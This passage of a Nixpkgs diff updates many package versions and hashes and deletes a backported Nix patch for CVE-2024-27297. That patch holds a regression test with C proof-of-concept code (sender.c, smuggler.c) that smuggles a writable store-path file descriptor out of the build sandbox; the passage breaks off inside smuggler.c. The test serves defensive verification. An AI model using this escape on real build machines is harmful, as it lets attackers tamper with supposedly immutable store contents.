+      "source": "hosted",
+      "version": "3.1.2"
+    }
+  },
+  "sdks": {
+    "dart": ">=3.0.5 <4.0.0",
+    "flutter": ">=3.10.0"
+  }
+}
--- a/pkgs/desktops/expidus/default.nix
+++ b/pkgs/desktops/expidus/default.nix
@ -1,4 +1,5 @@
 { callPackage }:
 {
+  calculator = callPackage ./calculator {};
  file-manager = callPackage ./file-manager {};
 }
--- a/pkgs/desktops/gnome/extensions/default.nix
+++ b/pkgs/desktops/gnome/extensions/default.nix
@ -81,6 +81,7 @@ in rec {
      arc-menu = gnomeExtensions.arcmenu; # added 2021-02-14
      disable-unredirect = gnomeExtensions.disable-unredirect-fullscreen-windows; # added 2021-11-20

+      icon-hider = throw "gnomeExtensions.icon-hider was removed on 2024-03-15. The extension has not received any updates since 2020/3.34.";
      nohotcorner = throw "gnomeExtensions.nohotcorner removed since 2019-10-09: Since 3.34, it is a part of GNOME Shell configurable through GNOME Tweaks.";
      mediaplayer = throw "gnomeExtensions.mediaplayer deprecated since 2019-09-23: retired upstream https://github.com/JasonLG1979/gnome-shell-extensions-mediaplayer/blob/master/README.md";
      remove-dropdown-arrows = throw "gnomeExtensions.remove-dropdown-arrows removed since 2021-05-25: The extensions has not seen an update sine GNOME 3.34. Furthermore, the functionality it provides is obsolete as of GNOME 40.";
--- a/pkgs/desktops/gnome/extensions/manuallyPackaged.nix
+++ b/pkgs/desktops/gnome/extensions/manuallyPackaged.nix
@ -6,7 +6,6 @@
  "drop-down-terminal@gs-extensions.zzrough.org" = callPackage ./drop-down-terminal { };
  "EasyScreenCast@iacopodeenosee.gmail.com" = callPackage ./EasyScreenCast { };
  "gsconnect@andyholmes.github.io" = callPackage ./gsconnect { };
-  "icon-hider@kalnitsky.org" = callPackage ./icon-hider { };
  "impatience@gfxmonk.net" = callPackage ./impatience { };
  "no-title-bar@jonaspoehler.de" = callPackage ./no-title-bar { };
  "pidgin@muffinmad" = callPackage ./pidgin-im-integration { };
--- a/pkgs/desktops/gnome/misc/gnome-extensions-cli/default.nix
+++ b/pkgs/desktops/gnome/misc/gnome-extensions-cli/default.nix
@ -4,24 +4,24 @@
 , pythonRelaxDepsHook
 , poetry-core
 , colorama
-, more-itertools
 , packaging
 , pydantic_1
 , requests
 , pygobject3
+, tqdm
 , gobject-introspection
 , wrapGAppsNoGuiHook
 }:

 buildPythonApplication rec {
  pname = "gnome-extensions-cli";
-  version = "0.9.5";
+  version = "0.10.1";
  format = "pyproject";

  src = fetchPypi {
    pname = "gnome_extensions_cli";
    inherit version;
-    hash = "sha256-4eRVmG5lqK8ql9WpvXsf18znOt7kDSnpQnLfy73doy4=";
+    hash = "sha256-yAoo3NjNtTZSHmbLKzW2X7Cy2smLNp8/9vo+OPGxlVY=";
  };

  nativeBuildInputs = [
@ -37,11 +37,11 @@ buildPythonApplication rec {

  propagatedBuildInputs = [
    colorama
-    more-itertools
    packaging
    pydantic_1
    requests
    pygobject3
+    tqdm
  ];

  pythonImportsCheck = [
--- a/pkgs/development/libraries/science/math/magma/generic.nix
+++ b/pkgs/development/libraries/science/math/magma/generic.nix
@ -5,7 +5,8 @@
 #  supportedGpuTargets: List String
 # }

-{ blas
+{ autoPatchelfHook
+, blas
 , cmake
 , cudaPackages
 , cudaSupport ? config.cudaSupport
@ -19,19 +20,19 @@
 , libpthreadstubs
 , magmaRelease
 , ninja
+, python3
 , config
  # At least one back-end has to be enabled,
  # and we can't default to CUDA since it's unfree
 , rocmSupport ? !cudaSupport
 , static ? stdenv.hostPlatform.isStatic
 , stdenv
-, symlinkJoin
 }:


 let
  inherit (lib) lists strings trivial;
-  inherit (cudaPackages) backendStdenv cudaFlags cudaVersion;
+  inherit (cudaPackages) cudaAtLeast cudaFlags cudaOlder;
  inherit (magmaRelease) version hash supportedGpuTargets;

  # NOTE: The lists.subtractLists function is perhaps a bit unintuitive. It subtracts the elements
@ -95,7 +96,21 @@ stdenv.mkDerivation {
    inherit hash;
  };

+  # Magma doesn't have anything which could be run under doCheck, but it does build test suite executables.
+  # These are moved to $test/bin/ and $test/lib/ in postInstall.
+  outputs = ["out" "test"];
+
+  # Fixup for the python test runners
+  postPatch = ''
+    patchShebangs ./testing/run_{tests,summarize}.py
+    substituteInPlace ./testing/run_tests.py \
+      --replace-fail \
+        "print >>sys.stderr, cmdp, \"doesn't exist (original name: \" + cmd + \", precision: \" + precision + \")\"" \
+        "print(f\"{cmdp} doesn't exist (original name: {cmd}, precision: {precision})\", file=sys.stderr)"
+  '';
+
  nativeBuildInputs = [
+    autoPatchelfHook
    cmake
    ninja
    gfortran
@ -107,6 +122,7 @@ stdenv.mkDerivation {
    libpthreadstubs
    lapack
    blas
+    python3
  ] ++ lists.optionals cudaSupport (with cudaPackages; [
    cuda_cudart.dev # cuda_runtime.h
    cuda_cudart.lib # cudart
@ -115,11 +131,11 @@ stdenv.mkDerivation {
    libcublas.lib # cublas
    libcusparse.dev # cusparse.h
    libcusparse.lib # cusparse
-  ] ++ lists.optionals (strings.versionOlder cudaVersion "11.8") [
+  ] ++ lists.optionals (cudaOlder "11.8") [
    cuda_nvprof.dev # <cuda_profiler_api.h>
-  ] ++ lists.optionals (strings.versionAtLeast cudaVersion "11.8") [
+  ] ++ lists.optionals (cudaAtLeast "11.8") [
    cuda_profiler_api.dev # <cuda_profiler_api.h>
-  ] ++ lists.optionals (strings.versionAtLeast cudaVersion "12.0") [
+  ] ++ lists.optionals (cudaAtLeast "12.0") [
    cuda_cccl.dev # <nv/target>
  ]) ++ lists.optionals rocmSupport [
    rocmPackages.clr
@ -129,30 +145,56 @@ stdenv.mkDerivation {
  ];

  cmakeFlags = [
-    "-DGPU_TARGET=${gpuTargetString}"
-    (lib.cmakeBool "MAGMA_ENABLE_CUDA" cudaSupport)
-    (lib.cmakeBool "MAGMA_ENABLE_HIP" rocmSupport)
-  ] ++ lists.optionals static [
-    "-DBUILD_SHARED_LIBS=OFF"
+    (strings.cmakeFeature "GPU_TARGET" gpuTargetString)
+    (strings.cmakeBool "MAGMA_ENABLE_CUDA" cudaSupport)
+    (strings.cmakeBool "MAGMA_ENABLE_HIP" rocmSupport)
+    (strings.cmakeBool "BUILD_SHARED_LIBS" (!static))
+    # Set the Fortran name mangling scheme explicitly. We must set FORTRAN_CONVENTION manually because it will
+    # otherwise not be set in NVCC_FLAGS or DEVCCFLAGS (which we cannot modify).
+    # See https://github.com/NixOS/nixpkgs/issues/281656#issuecomment-1902931289
+    (strings.cmakeBool "USE_FORTRAN" true)
+    (strings.cmakeFeature "CMAKE_C_FLAGS" "-DADD_")
+    (strings.cmakeFeature "CMAKE_CXX_FLAGS" "-DADD_")
+    (strings.cmakeFeature "FORTRAN_CONVENTION" "-DADD_")
  ] ++ lists.optionals cudaSupport [
-    "-DCMAKE_CUDA_ARCHITECTURES=${cudaArchitecturesString}"
-    "-DMIN_ARCH=${minArch}" # Disarms magma's asserts
-    "-DCMAKE_C_COMPILER=${backendStdenv.cc}/bin/cc"
-    "-DCMAKE_CXX_COMPILER=${backendStdenv.cc}/bin/c++"
+    (strings.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaArchitecturesString)
+    (strings.cmakeFeature "MIN_ARCH" minArch) # Disarms magma's asserts
  ] ++ lists.optionals rocmSupport [
-    "-DCMAKE_C_COMPILER=${rocmPackages.clr}/bin/hipcc"
-    "-DCMAKE_CXX_COMPILER=${rocmPackages.clr}/bin/hipcc"
-  ] ++ lists.optionals (cudaPackages.cudaAtLeast "12.0.0") [
-    (lib.cmakeBool "USE_FORTRAN" false)
-  ];
-
-  buildFlags = [
-    "magma"
-    "magma_sparse"
+    (strings.cmakeFeature "CMAKE_C_COMPILER" "${rocmPackages.clr}/bin/hipcc")
+    (strings.cmakeFeature "CMAKE_CXX_COMPILER" "${rocmPackages.clr}/bin/hipcc")
  ];

+  # Magma doesn't have a test suite we can easily run, just loose executables, all of which require a GPU.
  doCheck = false;

+  # Copy the files to the test output and fix the RPATHs.
+  postInstall =
+    # NOTE: The python scripts aren't copied by CMake into the build directory, so we must copy them from the source.
+    # TODO(@connorbaker): This should be handled by having CMakeLists.txt install them, but such a patch is
+    # out of the scope of the PR which introduces the `test` output: https://github.com/NixOS/nixpkgs/pull/283777.
+    # See https://github.com/NixOS/nixpkgs/pull/283777#discussion_r1482125034 for more information.
+    ''
+      install -Dm755 ../testing/run_{tests,summarize}.py -t "$test/bin/"
+    ''
+    # Copy core test executables and libraries over to the test output.
+    # NOTE: Magma doesn't provide tests for sparse solvers for ROCm, but it does for CUDA -- we put them both in the same
+    # install command to avoid the case where a glob would fail to find any files and cause the install command to fail
+    # because it has no files to install.
+    + ''
+      install -Dm755 ./testing/testing_* ./sparse/testing/testing_* -t "$test/bin/"
+      install -Dm755 ./lib/libtester.so ./lib/liblapacktest.so -t "$test/lib/"
+    ''
+    # All of the test executables and libraries will have a reference to the build directory in their RPATH, which we
+    # must remove. We do this by shrinking the RPATH to only include the Nix store. The autoPatchelfHook will take care
+    # of supplying the correct RPATH for needed libraries (like `libtester.so`).
+    + ''
+      find "$test" -type f -exec \
+        patchelf \
+          --shrink-rpath \
+          --allowed-rpath-prefixes "$NIX_STORE" \
+          {} \;
+    '';
+
  passthru = {
    inherit cudaPackages cudaSupport rocmSupport gpuTargets;
  };
@ -168,6 +210,6 @@ stdenv.mkDerivation {
    broken =
      !(cudaSupport || rocmSupport) # At least one back-end enabled
      || (cudaSupport && rocmSupport) # Mutually exclusive
-      || (cudaSupport && strings.versionOlder cudaVersion "9");
+      || (cudaSupport && cudaOlder "9.0");
  };
 }
--- a/pkgs/development/python-modules/git-revise/default.nix
+++ b/pkgs/development/python-modules/git-revise/default.nix
@ -29,6 +29,7 @@ buildPythonPackage rec {
    homepage = "https://github.com/mystor/git-revise";
    changelog = "https://github.com/mystor/git-revise/blob/${version}/CHANGELOG.md";
    license = licenses.mit;
+    mainProgram = "git-revise";
    maintainers = with maintainers; [ emily ];
  };
 }
--- a/pkgs/development/python-modules/magika/default.nix
+++ b/pkgs/development/python-modules/magika/default.nix
@ -0,0 +1,54 @@
+{ lib
+, buildPythonPackage
+, click
+, fetchPypi
+, magika
+, numpy
+, onnxruntime
+, poetry-core
+, python-dotenv
+, pythonOlder
+, stdenv
+, tabulate
+, testers
+, tqdm
+}:
+
+buildPythonPackage rec {
+  pname = "magika";
+  version = "0.5.0";
+  pyproject = true;
+  disabled = pythonOlder "3.9";
+
+  src = fetchPypi {
+    inherit pname version;
+    hash = "sha256-r6C7iDCG/o3JEvweQGb4upr+LuHvmNtkwtduZGehCsc=";
+  };
+
+  nativeBuildInputs = [
+    poetry-core
+  ];
+
+  propagatedBuildInputs = [
+    click
+    numpy
+    onnxruntime
+    python-dotenv
+    tabulate
+    tqdm
+  ];
+
+  pythonImportsCheck = [ "magika" ];
+
+  passthru.tests.version = testers.testVersion { package = magika; };
+
+  meta = with lib; {
+    description = "Magika: Detect file content types with deep learning";
+    homepage = "https://github.com/google/magika";
+    license = licenses.asl20;
+    maintainers = with maintainers; [ mihaimaruseac ];
+    mainProgram = "magika";
+    # Currently, disabling on AArch64 as it onnx runtime crashes on ofborg
+    broken = stdenv.isAarch64 && stdenv.isLinux;
+  };
+}
--- a/pkgs/development/python-modules/niaarm/default.nix
+++ b/pkgs/development/python-modules/niaarm/default.nix
@ -13,7 +13,7 @@

 buildPythonPackage rec {
  pname = "niaarm";
-  version = "0.3.7";
+  version = "0.3.8";
  format = "pyproject";

  disabled = pythonOlder "3.9";
@ -22,7 +22,7 @@ buildPythonPackage rec {
    owner = "firefly-cpp";
    repo = "NiaARM";
    rev = "refs/tags/${version}";
-    hash = "sha256-0YBjYpeu1eagy9hp/EuXN1cfHztEjR/i4/YFKXS33Co=";
+    hash = "sha256-p07SuCl433rj6IEMO1eg5QHAUTVfgqYo5gsprMvQg2Y=";
  };

  nativeBuildInputs = [
--- a/pkgs/development/tools/build-managers/buck2/default.nix
+++ b/pkgs/development/tools/build-managers/buck2/default.nix
@ -38,7 +38,7 @@ let
  buildHashes = builtins.fromJSON (builtins.readFile ./hashes.json);

  # our version of buck2; this should be a git tag
-  version = "2024-01-15";
+  version = "2024-03-15";

  # the platform-specific, statically linked binary — which is also
  # zstd-compressed
@ -63,7 +63,7 @@ let
  # tooling
  prelude-src =
    let
-      prelude-hash = "ccf6f5d1693cfa215b60212cf9863d27c6fd6a69";
+      prelude-hash = "c68a0e4b35928891e72df1738c890bfcb76a6174";
      name = "buck2-prelude-${version}.tar.gz";
      hash = buildHashes."_prelude";
      url = "https://github.com/facebook/buck2-prelude/archive/${prelude-hash}.tar.gz";
--- a/pkgs/development/tools/build-managers/buck2/hashes.json
+++ b/pkgs/development/tools/build-managers/buck2/hashes.json
@ -1,7 +1,7 @@
 { "_comment": "@generated by pkgs/development/tools/build-managers/buck2/update.sh"
-, "_prelude": "sha256-Bsd545xKass+Sua1sTFRNJgOokaHS62AKvhiLuqL58w="
-, "x86_64-linux": "sha256-Oxgz96x9INVDybJIRlBvIa76V7ngUxYh9Uo6Hdo/3pQ="
-, "x86_64-darwin": "sha256-tOlp6LKdQZg6TK2Ki8yf/e38Ibrx3fDrzOzC6bzGtrQ="
-, "aarch64-linux": "sha256-LmMbh/4tckZN1J8GJzMt8GyPmQbk3zc9DwXqJ004O7c="
-, "aarch64-darwin": "sha256-qsdHCxtJzu+UMVl1AcQh3cgDWQAITQNJEnfEN9A1W5M="
+, "_prelude": "sha256-PTetJetdpFU3bKLU1WESMwIEZox86IcrczvCxmaQzoE="
+, "x86_64-linux": "sha256-2vaKYCFRu2fNA/Nsu3HHT5DWtNeMnEfE8FVl7bat1HQ="
+, "x86_64-darwin": "sha256-zzB3sPOCDGWAb4CQO0yjb7Bph+ioi3cJoMYO/2YzXfU="
+, "aarch64-linux": "sha256-sx8rcADlfdAECL/SSHeB7vzxoedqx6+yT7yJp1qLBgM="
+, "aarch64-darwin": "sha256-GKQ8Xfe9iRpgq5SrM6nyyIPBh9gC25uN/vzGRjViQdQ="
 }
--- a/pkgs/development/tools/database/dbmate/default.nix
+++ b/pkgs/development/tools/database/dbmate/default.nix
@ -5,16 +5,16 @@

 buildGoModule rec {
  pname = "dbmate";
-  version = "2.12.0";
+  version = "2.13.0";

  src = fetchFromGitHub {
    owner = "amacneil";
    repo = "dbmate";
    rev = "refs/tags/v${version}";
-    hash = "sha256-TXQXG6FdDFtUp1VuM3iWifyRI/6NKa1iPDT8riZxux0=";
+    hash = "sha256-4Ur9LGYcC9C2EUWLLppcVSf+PLgfPITbKGp2qLRnxVY=";
  };

-  vendorHash = "sha256-4l3OYn7p+dbGieQ56klyNjuI0jk1ccgBXKeJGOamCjY=";
+  vendorHash = "sha256-le2AWHqTElo95GQJ8jEk3jjNrxu63YyWVtq+CI6+SbY=";

  doCheck = false;

--- a/pkgs/development/tools/reindeer/default.nix
+++ b/pkgs/development/tools/reindeer/default.nix
@ -11,16 +11,16 @@

 rustPlatform.buildRustPackage rec {
  pname = "reindeer";
-  version = "unstable-2024-03-06";
+  version = "2024.03.11.00";

  src = fetchFromGitHub {
    owner = "facebookincubator";
-    repo = pname;
-    rev = "3ec771e9608a01c90d6aac92aa77145551786c64";
-    sha256 = "sha256-cClbSJuEs4yIjx+13GSIevZO2PWEEHVDaMEmf729keA=";
+    repo = "reindeer";
+    rev = "refs/tags/v${version}";
+    hash = "sha256-cClbSJuEs4yIjx+13GSIevZO2PWEEHVDaMEmf729keA=";
  };

-  cargoSha256 = "sha256-plkn+snWUaOH6ZxaPUbCvnNOky+eL6oY4ZHwv+qyNiE=";
+  cargoHash = "sha256-TtbkzU48j3dmqRocJdY8KJz/3YHYIi3SZYM/eB9zoIg=";

  nativeBuildInputs = [ pkg-config ];
  buildInputs =
--- a/pkgs/development/web/publii/default.nix
+++ b/pkgs/development/web/publii/default.nix
@ -25,11 +25,11 @@

 stdenv.mkDerivation rec {
  pname = "publii";
-  version = "0.45.1";
+  version = "0.45.2";

  src = fetchurl {
    url = "https://getpublii.com/download/Publii-${version}.deb";
-    hash = "sha256-R+TlxF6j5qv7wOr4lxCqd1pulyiEXPUe4B2HFMhD020=";
+    hash = "sha256-NGS5ovaJ6XskCimN48mqvUdoA+N9eDlIpazV0GDEs3E=";
  };

  dontConfigure = true;
--- a/pkgs/os-specific/linux/microcode/intel.nix
+++ b/pkgs/os-specific/linux/microcode/intel.nix
@ -2,13 +2,13 @@

 stdenv.mkDerivation rec {
  pname = "microcode-intel";
-  version = "20231114";
+  version = "20240312";

  src = fetchFromGitHub {
    owner = "intel";
    repo = "Intel-Linux-Processor-Microcode-Data-Files";
    rev = "microcode-${version}";
-    hash = "sha256-cZ7APDjwjarPCzk1HWxqIXdGwNOl6HG0KSCtffmEhx0=";
+    hash = "sha256-4ZSA+LVczfjZINXhImmFOCc/6kKNrrUQvrXPdOvMM8g=";
  };

  nativeBuildInputs = [ iucode-tool libarchive ];
--- a/pkgs/shells/nix-your-shell/default.nix
+++ b/pkgs/shells/nix-your-shell/default.nix
@ -5,16 +5,16 @@
 }:
 rustPlatform.buildRustPackage rec {
  pname = "nix-your-shell";
-  version = "1.4.1";
+  version = "1.4.3";

  src = fetchFromGitHub {
    owner = "MercuryTechnologies";
    repo = pname;
    rev = "v${version}";
-    hash = "sha256-pa52demadLi5VN+GixQKVL9iD1kb9c32PqIh86BIUR8=";
+    hash = "sha256-/LsTCH16EgoTUCSo4Hzxl/W69+aqLfe/Ld+WQos4Ozo=";
  };

-  cargoHash = "sha256-btM9AUH1S1AA8gEwXwouOT/E2oio0CmOZ738M+DUMiE=";
+  cargoHash = "sha256-Z0r/HDAK1+1wHaLZ+HPbS72vsuK7GLdBZm6j5p+KARs=";

  meta = with lib; {
    mainProgram = "nix-your-shell";
--- a/pkgs/shells/zsh/zsh-fzf-tab/default.nix
+++ b/pkgs/shells/zsh/zsh-fzf-tab/default.nix
@ -4,13 +4,13 @@ let
  INSTALL_PATH="${placeholder "out"}/share/fzf-tab";
 in stdenv.mkDerivation rec {
  pname = "zsh-fzf-tab";
-  version = "1.0";
+  version = "1.1.1";

  src = fetchFromGitHub {
    owner = "Aloxaf";
    repo = "fzf-tab";
    rev = "v${version}";
-    hash = "sha256-o3R9dh9t8w/SVO3IUeJqP8kkQxwnRjNX8oZ4wSZxBYo=";
+    hash = "sha256-0/YOL1/G2SWncbLNaclSYUz7VyfWu+OB8TYJYm4NYkM=";
  };

  strictDeps = true;
@ -31,8 +31,8 @@ in stdenv.mkDerivation rec {
    pushd modules

    tar -xf ${zsh.src}
-    ln -s $(pwd)/src/fzftab.c zsh-${zsh.version}/Src/Modules/
-    ln -s $(pwd)/src/fzftab.mdd zsh-${zsh.version}/Src/Modules/
+    ln -s $(pwd)/Src/fzftab.c zsh-${zsh.version}/Src/Modules/
+    ln -s $(pwd)/Src/fzftab.mdd zsh-${zsh.version}/Src/Modules/

    pushd zsh-${zsh.version}

--- a/pkgs/tools/misc/kcollectd/default.nix
+++ b/pkgs/tools/misc/kcollectd/default.nix
@ -18,12 +18,12 @@

 mkDerivation rec {
  pname = "kcollectd";
-  version = "0.12.0";
+  version = "0.12.1";
  src = fetchFromGitLab {
    owner = "aerusso";
    repo = pname;
    rev = "v${version}";
-    sha256 = "sha256-Ihd4Ps4t9+sNB3joO3vTxDR/25t7Ecl6yvHQ15QiUdY=";
+    sha256 = "sha256-bUVL5eRQ5UkSZo562pnyEcj0fVoSC5WHRq4BfN67jEM=";
  };

  nativeBuildInputs = [
--- a/pkgs/tools/networking/openssh/default.nix
+++ b/pkgs/tools/networking/openssh/default.nix
@ -58,12 +58,12 @@ in

  openssh_gssapi = common rec {
    pname = "openssh-with-gssapi";
-    version = "9.5p1";
+    version = "9.6p1";
    extraDesc = " with GSSAPI support";

    src = fetchurl {
      url = "mirror://openbsd/OpenSSH/portable/openssh-${version}.tar.gz";
-      hash = "sha256-8Cbnt5un+1QPdRgq+W3IqPHbOV+SK7yfbKYDZyaGCGs=";
+      hash = "sha256-kQIRwHJVqMWtZUORtA7lmABxDdgRndU2LeCThap6d3w=";
    };

    extraPatches = [
@ -72,7 +72,7 @@ in
      (fetchpatch {
        name = "openssh-gssapi.patch";
        url = "https://salsa.debian.org/ssh-team/openssh/raw/debian/1%25${version}-1/debian/patches/gssapi.patch";
-        sha256 = "sha256-E36jxnPcu6RTyXXb9yVBCoFIVchiOSLX7L74ng1Dmao=";
+        hash = "sha256-gzDQdO6yOoN0apGj5aoKFdUkmKzFyphFUdgNhDLMp8U=";
      })
    ];

--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@ -246,12 +246,8 @@ in lib.makeExtensible (self: ({
  };

  nix_2_18 = common {
-    version = "2.18.1";
-    hash = "sha256-WNmifcTsN9aG1ONkv+l2BC4sHZZxtNKy0keqBHXXQ7w=";
-    patches = [
-      patch-rapidcheck-shared
-      ./patches/2_18/CVE-2024-27297.patch
-    ];
+    version = "2.18.2";
+    hash = "sha256-8gNJlBlv2bnffRg0CejiBXc6U/S6YeCLAdHrYvTPyoY=";
  };

  nix_2_19 = common {
--- a/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch
+++ b/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch
@ -1,379 +0,0 @@
-From f8d20e91a45f71b60402f5916d2475751c089c84 Mon Sep 17 00:00:00 2001
-From: Tom Bereknyei <tomberek@gmail.com>
-Date: Fri, 1 Mar 2024 03:42:26 -0500
-Subject: [PATCH 1/3] Add a NixOS test for the sandbox escape
-
-Test that we can't leverage abstract unix domain sockets to leak file
-descriptors out of the sandbox and modify the path after it has been
-registered.
-
-Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
---
- flake.nix                          |  2 +
- tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++
- tests/nixos/ca-fd-leak/sender.c    | 65 +++++++++++++++++++++
- tests/nixos/ca-fd-leak/smuggler.c  | 66 ++++++++++++++++++++++
- 4 files changed, 223 insertions(+)
- create mode 100644 tests/nixos/ca-fd-leak/default.nix
- create mode 100644 tests/nixos/ca-fd-leak/sender.c
- create mode 100644 tests/nixos/ca-fd-leak/smuggler.c
-
-diff --git a/flake.nix b/flake.nix
-index 230bb6031..4a54c660f 100644
--- a/flake.nix
-+++ b/flake.nix
-@@ -634,6 +634,8 @@
-           ["i686-linux" "x86_64-linux"]
-           (system: runNixOSTestFor system ./tests/nixos/setuid.nix);
- 
-+        tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak;
-+
- 
-         # Make sure that nix-env still produces the exact same result
-         # on a particular version of Nixpkgs.
-diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
-new file mode 100644
-index 000000000..a6ae72adc
--- /dev/null
-+++ b/tests/nixos/ca-fd-leak/default.nix
-@@ -0,0 +1,90 @@
-+# Nix is a sandboxed build system. But Not everything can be handled inside its
-+# sandbox: Network access is normally blocked off, but to download sources, a
-+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
-+# The detail here is not important, but in our case it means that the hash of
-+# the output has to be known beforehand. And if you know that, you get a few
-+# rights: you no longer run inside a special network namespace!
-+#
-+# Now, Linux has a special feature, that not many other unices do: Abstract
-+# unix domain sockets! Not only that, but those are namespaced using the
-+# network namespace! That means that we have a way to create sockets that are
-+# available in every single fixed-output derivation, and also all processes
-+# running on the host machine! Now, this wouldn't be that much of an issue, as,
-+# well, the whole idea is that the output is pure, and all processes in the
-+# sandbox are killed before finalizing the output. What if we didn't need those
-+# processes at all? Unix domain sockets have a semi-known trick: you can pass
-+# file descriptors around!
-+# This makes it possible to exfiltrate a file-descriptor with write access to
-+# $out outside of the sandbox. And that file-descriptor can be used to modify
-+# the contents of the store path after it has been registered.
-+
-+{ config, ... }:
-+
-+let
-+  pkgs = config.nodes.machine.nixpkgs.pkgs;
-+
-+  # Simple C program that sends a a file descriptor to `$out` to a Unix
-+  # domain socket.
-+  # Compiled statically so that we can easily send it to the VM and use it
-+  # inside the build sandbox.
-+  sender = pkgs.runCommandWith {
-+    name = "sender";
-+    stdenv = pkgs.pkgsStatic.stdenv;
-+  } ''
-+    $CC -static -o $out ${./sender.c}
-+  '';
-+
-+  # Okay, so we have a file descriptor shipped out of the FOD now. But the
-+  # Nix store is read-only, right? .. Well, yeah. But this file descriptor
-+  # lives in a mount namespace where it is not! So even when this file exists
-+  # in the actual Nix store, we're capable of just modifying its contents...
-+  smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
-+
-+  # The abstract socket path used to exfiltrate the file descriptor
-+  socketName = "FODSandboxExfiltrationSocket";
-+in
-+{
-+  name = "ca-fd-leak";
-+
-+  nodes.machine =
-+    { config, lib, pkgs, ... }:
-+    { virtualisation.writableStore = true;
-+      nix.settings.substituters = lib.mkForce [ ];
-+      virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
-+    };
-+
-+  testScript = { nodes }: ''
-+    start_all()
-+
-+    machine.succeed("echo hello")
-+    # Start the smuggler server
-+    machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
-+
-+    # Build the smuggled derivation.
-+    # This will connect to the smuggler server and send it the file descriptor
-+    machine.succeed(r"""
-+      nix-build -E '
-+        builtins.derivation {
-+          name = "smuggled";
-+          system = builtins.currentSystem;
-+          # look ma, no tricks!
-+          outputHashMode = "flat";
-+          outputHashAlgo = "sha256";
-+          outputHash = builtins.hashString "sha256" "hello, world\n";
-+          builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
-+          args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
-+      }'
-+    """.strip())
-+
-+
-+    # Tell the smuggler server that we're done
-+    machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
-+
-+    # Check that the file was not modified
-+    machine.succeed(r"""
-+      cat ./result
-+      test "$(cat ./result)" = "hello, world"
-+    """.strip())
-+  '';
-+
-+}
-diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
-new file mode 100644
-index 000000000..75e54fc8f
--- /dev/null
-+++ b/tests/nixos/ca-fd-leak/sender.c
-@@ -0,0 +1,65 @@
-+#include <sys/socket.h>
-+#include <sys/un.h>
-+#include <stdlib.h>
-+#include <stddef.h>
-+#include <stdio.h>
-+#include <unistd.h>
-+#include <fcntl.h>
-+#include <errno.h>
-+#include <string.h>
-+#include <assert.h>
-+
-+int main(int argc, char **argv) {
-+
-+    assert(argc == 2);
-+
-+    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
-+
-+    // Set up a abstract domain socket path to connect to.
-+    struct sockaddr_un data;
-+    data.sun_family = AF_UNIX;
-+    data.sun_path[0] = 0;
-+    strcpy(data.sun_path + 1, argv[1]);
-+
-+    // Now try to connect, To ensure we work no matter what order we are
-+    // executed in, just busyloop here.
-+    int res = -1;
-+    while (res < 0) {
-+        res = connect(sock, (const struct sockaddr *)&data,
-+            offsetof(struct sockaddr_un, sun_path)
-+              + strlen(argv[1])
-+              + 1);
-+        if (res < 0 && errno != ECONNREFUSED) perror("connect");
-+        if (errno != ECONNREFUSED) break;
-+    }
-+
-+    // Write our message header.
-+    struct msghdr msg = {0};
-+    msg.msg_control = malloc(128);
-+    msg.msg_controllen = 128;
-+
-+    // Write an SCM_RIGHTS message containing the output path.
-+    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
-+    hdr->cmsg_len = CMSG_LEN(sizeof(int));
-+    hdr->cmsg_level = SOL_SOCKET;
-+    hdr->cmsg_type = SCM_RIGHTS;
-+    int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
-+    memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
-+
-+    msg.msg_controllen = CMSG_SPACE(sizeof(int));
-+
-+    // Write a single null byte too.
-+    msg.msg_iov = malloc(sizeof(struct iovec));
-+    msg.msg_iov[0].iov_base = "";
-+    msg.msg_iov[0].iov_len = 1;
-+    msg.msg_iovlen = 1;
-+
-+    // Send it to the othher side of this connection.
-+    res = sendmsg(sock, &msg, 0);
-+    if (res < 0) perror("sendmsg");
-+    int buf;
-+
-+    // Wait for the server to close the socket, implying that it has
-+    // received the commmand.
-+    recv(sock, (void *)&buf, sizeof(int), 0);
-+}
-diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
-new file mode 100644
-index 000000000..82acf37e6
--- /dev/null
-+++ b/tests/nixos/ca-fd-leak/smuggler.c
-@@ -0,0 +1,66 @@
-+#include <sys/socket.h>
-+#include <sys/un.h>
-+#include <stdlib.h>
-+#include <stddef.h>
-+#include <stdio.h>
-+#include <unistd.h>
-+#include <assert.h>
-+
-+int main(int argc, char **argv) {
-+
-+    assert(argc == 2);
-+
-+    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
-+
-+    // Bind to the socket.
-+    struct sockaddr_un data;
-+    data.sun_family = AF_UNIX;
-+    data.sun_path[0] = 0;
-+    strcpy(data.sun_path + 1, argv[1]);
-+    int res = bind(sock, (const struct sockaddr *)&data,
-+        offsetof(struct sockaddr_un, sun_path)
-+        + strlen(argv[1])
-+        + 1);
-+    if (res < 0) perror("bind");
-+
-+    res = listen(sock, 1);
-+    if (res < 0) perror("listen");
-+
-+    int smuggling_fd = -1;
-+
-+    // Accept the connection a first time to receive the file descriptor.
-+    fprintf(stderr, "%s\n", "Waiting for the first connection");
-+    int a = accept(sock, 0, 0);
-+    if (a < 0) perror("accept");
-+
-+    struct msghdr msg = {0};
-+    msg.msg_control = malloc(128);
-+    msg.msg_controllen = 128;
